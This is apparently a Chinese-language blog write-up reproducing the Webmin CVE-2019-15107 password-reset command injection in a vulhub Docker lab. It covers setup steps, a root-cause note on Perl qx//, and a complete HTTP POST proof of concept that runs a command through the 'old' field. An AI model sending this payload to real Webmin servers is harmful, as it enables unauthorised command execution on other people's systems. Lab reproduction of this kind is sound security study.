CVE-2019-15107 复现(Webmin)

N 人看过

一、漏洞描述

Webmin的是一个用于管理类Unix的系统的管理配置工具,具有网络页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。它已知在端口10000上运行。在重置密码功能中发现了一个错误,该错误允许恶意第三方由于缺少输入验证而执行恶意代码。影响版本为Webmin<=1.920。

二、环境搭建

下载vulhub、编译运行

# Download project
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master

# Enter the directory of vulnerability/environment
cd flask/ssti

# Compile environment
docker-compose build

# Run environment
docker-compose up -d

其中在docker-compose up -d的时候速度太慢,需使用阿里云镜像加速,配置如下:

[root@localhost ~]# mkdir -p /etc/docker
[root@localhost ~]# tee /etc/docker/daemon.json <<-'EOF'
{
  "registry-mirrors": ["https://9cpn8tt6.mirror.aliyuncs.com"]
}
EOF
[root@localhost ~]# systemctl daemon-reload
[root@localhost ~]# systemctl restart docker

进入漏洞环境目录:

cd /vulhub-master/webmin/CVE-2019-15107

启动环境:

sudo docker-compose up -d

访问地址:https://搭建环境所在机器ip地址:10000/
在这里插入图片描述
由于存在漏洞目录在/password_change.cgi,而Webmin存在referer安全检测,所以访问如下:
在这里插入图片描述
按照提示修改配置文件,将1改为0,进入docker:sudo docker exec -it cve201915107_web_1 /bin/bash
在这里插入图片描述

三、POC测试

POST /password_change.cgi HTTP/1.1
Host: 192.168.43.180:10000
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: redirect=1; testing=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

user=rootasd&pam=&expired=2&old=id&new1=test2&new2=test2

注意:user不能为root用户,自己随便编,old为执行的命令。
在这里插入图片描述

四、原理浅析

该漏洞形成的主要原因是在于执行qx/…/,代码如下
在这里插入图片描述
在perl中的用法,qx/…/相当于php的``,可以直接执行命令的。

复测下来感觉还是很鸡肋,首先得修改配置文件才能利用该漏洞,也就是说得管理员忘了Webmin的密码,他修改了配置文件/etc/webmin/config 之后,/password_change.cgi能访问才能利用。

小拓展:

修改webmin密码:

/usr/share/webmin/changepass.pl /etc/webmin/ root root

详情参考:https://www.cnblogs.com/zhouhbing/p/4234131.html

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 (CC BY-NC-ND 4.0) 进行许可。